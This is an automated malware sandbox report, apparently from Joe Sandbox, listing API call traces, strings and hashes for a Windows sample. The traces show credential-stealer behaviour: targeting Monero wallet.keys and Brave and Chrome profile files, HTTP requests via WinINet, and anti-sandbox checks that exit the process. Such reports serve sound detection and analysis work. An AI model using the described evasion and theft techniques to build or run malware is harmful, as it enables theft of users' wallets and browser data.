Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008C9210,?,00FC110C,?,00000000,?,00FC1110,?,00000000,00FC0AEF), ref: 00FB6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FB6AE8
CloseHandle.KERNEL32(00000000), ref: 00FB6AF9
Sleep.KERNEL32(00001770), ref: 00FB6B04
CloseHandle.KERNEL32(?,00000000,?,008C9210,?,00FC110C,?,00000000,?,00FC1110,?,00000000,00FC0AEF), ref: 00FB6B1A
ExitProcess.KERNEL32 ref: 00FB6B22

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 76bc73b821f26c7815714a826729a4c5e0ff162470d041269ed46bf9c35bf46a
Instruction ID: d94fe48760f5b8c6de6b38cc70b4cb5206c95284343b4bb85e44306cc832fd57
Opcode Fuzzy Hash: 76bc73b821f26c7815714a826729a4c5e0ff162470d041269ed46bf9c35bf46a
Instruction Fuzzy Hash: 8A311E75D40208AAEB14FBF1DC56BEE7778AF44700F504528F212A6182DF7C9945EFA2

Function 00FB6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008C9210,?,00FC110C,?,00000000,?,00FC1110,?,00000000,00FC0AEF), ref: 00FB6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FB6AE8
CloseHandle.KERNEL32(00000000), ref: 00FB6AF9
Sleep.KERNEL32(00001770), ref: 00FB6B04
CloseHandle.KERNEL32(?,00000000,?,008C9210,?,00FC110C,?,00000000,?,00FC1110,?,00000000,00FC0AEF), ref: 00FB6B1A
ExitProcess.KERNEL32 ref: 00FB6B22

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: bd262922d666cb16050f602cb9a8ab676767e9fa97ab04573501b0895656b195
Instruction ID: 1381f5c00a461a1adf901ec0a5c8edde504468267ec1743844551405f1a5fa56
Opcode Fuzzy Hash: bd262922d666cb16050f602cb9a8ab676767e9fa97ab04573501b0895656b195
Instruction Fuzzy Hash: E4F03A70A40209EAEB10ABE2AC06BFD7B78EF44701F108525B523E6181CBBC5580EF65

Function 00FA47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FA4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FA4849

Strings

<, xrefs: 00FA47C9

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 6cea0bda56de05eaa53e6c97bb6e608d34f448406672bcff7860febae129fefd
Instruction ID: 3b59389b7ef6e32d5f55733424cbee8193cf784acc2a07e8c5c509c8a57dbc87
Opcode Fuzzy Hash: 6cea0bda56de05eaa53e6c97bb6e608d34f448406672bcff7860febae129fefd
Instruction Fuzzy Hash: 2A214FB1D00208ABDF14DFA5E845ADD7B78FF45320F108625F965A72C0DB746A05DF91

Function 00FB51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA6280: InternetOpenA.WININET(00FC0DFE,00000001,00000000,00000000,00000000), ref: 00FA62E1
Part of subcall function 00FA6280: StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA6303
Part of subcall function 00FA6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FA6335
Part of subcall function 00FA6280: HttpOpenRequestA.WININET(00000000,GET,?,008CE268,00000000,00000000,00400100,00000000), ref: 00FA6385
Part of subcall function 00FA6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FA63BF
Part of subcall function 00FA6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FA63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FB5228

Strings

ERROR, xrefs: 00FB5273
ERROR, xrefs: 00FB521A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 93036576c10a80020a94258cb01042359b8b17781ecfc74f1bcd083e1d454bd3
Instruction ID: 5f9455efd88d0de7b68b6d4d450b7a84057bb88efa65bbd4b8eefbe8031c3a55
Opcode Fuzzy Hash: 93036576c10a80020a94258cb01042359b8b17781ecfc74f1bcd083e1d454bd3
Instruction Fuzzy Hash: 81112E74900008BBCB14FFA1DD52EED7378AF50300F504158F91A5A592EF38AB15EE92

Function 00FA1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FA123E
ExitProcess.KERNEL32 ref: 00FA1294

Strings

@, xrefs: 00FA1233

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 1c680c7d7bc014c106f4caf21c6ea18bc916022817e63d7fa5a556d6bbd04f77
Instruction ID: a84098524aff0f2f50f1cb20dfe9f39966a81d619a90599c5e6984491a6fdefe
Opcode Fuzzy Hash: 1c680c7d7bc014c106f4caf21c6ea18bc916022817e63d7fa5a556d6bbd04f77
Instruction Fuzzy Hash: 25014BF4D40308AAEB10DBE0DC49B9EBBB8BB05701F248058E605BA280D67895859B99

Function 00FA1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FA112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FA1132
ExitProcess.KERNEL32 ref: 00FA1143

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3df44f3e6012d45d3386bcec818eaf5dc76ef3160fccb789773ec8f9f392e9c6
Instruction ID: 4696714a57d3d32b8816195dc2fbfedc85f93dcf66efea9f17c945c70adb7bf2
Opcode Fuzzy Hash: 3df44f3e6012d45d3386bcec818eaf5dc76ef3160fccb789773ec8f9f392e9c6
Instruction Fuzzy Hash: 6FE0E6B4D95308FFE764ABE0AC0AF097ABCAF05B12F114154F7097B1C4D6B526809799

Function 00FA10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FA10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FA10F7

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 3d743421d802eb000b85ef4ffcf2b1bd8f4e550c27a11095e901e4fd3a0a68d3
Instruction ID: ac9bec530a2d339922b0add7fbf0c0b951d0aa2e5248723ef58cb87df3b9aa83
Opcode Fuzzy Hash: 3d743421d802eb000b85ef4ffcf2b1bd8f4e550c27a11095e901e4fd3a0a68d3
Instruction Fuzzy Hash: 1DF0E9B1A41204BBE71496E4AC49FAAB7ECE705B15F304454F504E7280D5715E40DB60

Function 00FA1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FB78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7910
Part of subcall function 00FB78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FB7917
Part of subcall function 00FB78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FB792F

Part of subcall function 00FB7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FA11B7), ref: 00FB7880
Part of subcall function 00FB7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FB7887
Part of subcall function 00FB7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FB789F

ExitProcess.KERNEL32 ref: 00FA11C6

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f56a8c3d32022f961923990b1ec3cb2fe2b35a5575bc852223a12883c228fc27
Instruction ID: b1e85da93d8cdbc580a78714ede45ad2bc8cc1be715e33d2aeac48daf72d8fe8
Opcode Fuzzy Hash: f56a8c3d32022f961923990b1ec3cb2fe2b35a5575bc852223a12883c228fc27
Instruction Fuzzy Hash: D0E012B5D1430163CA1473F2BC0AB6A36DC6F95385F150434FA09D7102FA2DF841EE65

Non-executed Functions

Function 00FB38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FB38CC
FindFirstFileA.KERNEL32(?,?), ref: 00FB38E3
lstrcat.KERNEL32(?,?), ref: 00FB3935
StrCmpCA.SHLWAPI(?,00FC0F70), ref: 00FB3947
StrCmpCA.SHLWAPI(?,00FC0F74), ref: 00FB395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB3C67
FindClose.KERNEL32(000000FF), ref: 00FB3C7C

Strings

%s\%s, xrefs: 00FB397A
%s%s, xrefs: 00FB3AAD
%s\*, xrefs: 00FB38C0
%s\%s, xrefs: 00FB3A6F
%s\%s\%s, xrefs: 00FB3A4A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: ce57555c6ab22243723d09dca8cad7823b09013ee4f57e033f75ccff8480d6e4
Instruction ID: 9868d1ade751ac1211af58de03dec72ac70c36a81474a680ae97110ac352e067
Opcode Fuzzy Hash: ce57555c6ab22243723d09dca8cad7823b09013ee4f57e033f75ccff8480d6e4
Instruction Fuzzy Hash: AEA18DB2A40208ABDB34DFA4DC85FEA73BCBF88300F044598A51D96145EB759BC4DF62

Function 00FABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

FindFirstFileA.KERNEL32(00000000,?,00FC0B32,00FC0B2B,00000000,?,?,?,00FC13F4,00FC0B2A), ref: 00FABEF5
StrCmpCA.SHLWAPI(?,00FC13F8), ref: 00FABF4D
StrCmpCA.SHLWAPI(?,00FC13FC), ref: 00FABF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00FAC7BF
FindClose.KERNEL32(000000FF), ref: 00FAC7D1

Strings

Google Chrome, xrefs: 00FAC634
\Brave\Preferences, xrefs: 00FAC1DB
Brave, xrefs: 00FAC102
Preferences, xrefs: 00FAC11E

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 9525a00c76a27d9fe660abac8db1ee94eada88169dc4d76528f9bd8e8fdd14d3
Instruction ID: 22999fc783552ac85fb610dfacc4b55ababfad84fd554103977f43b07373dc23
Opcode Fuzzy Hash: 9525a00c76a27d9fe660abac8db1ee94eada88169dc4d76528f9bd8e8fdd14d3
Instruction Fuzzy Hash: 05422572910108ABDB14FBB1DD96EED737DAF94300F404568B50A97181EF389B49EFA2

Function 00FB4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FB492C
FindFirstFileA.KERNEL32(?,?), ref: 00FB4943
StrCmpCA.SHLWAPI(?,00FC0FDC), ref: 00FB4971
StrCmpCA.SHLWAPI(?,00FC0FE0), ref: 00FB4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB4B7D
FindClose.KERNEL32(000000FF), ref: 00FB4B92

Strings

%s\%s, xrefs: 00FB49A4
%s\*, xrefs: 00FB4920
%s\%s, xrefs: 00FB49FB

Memory Dump Source

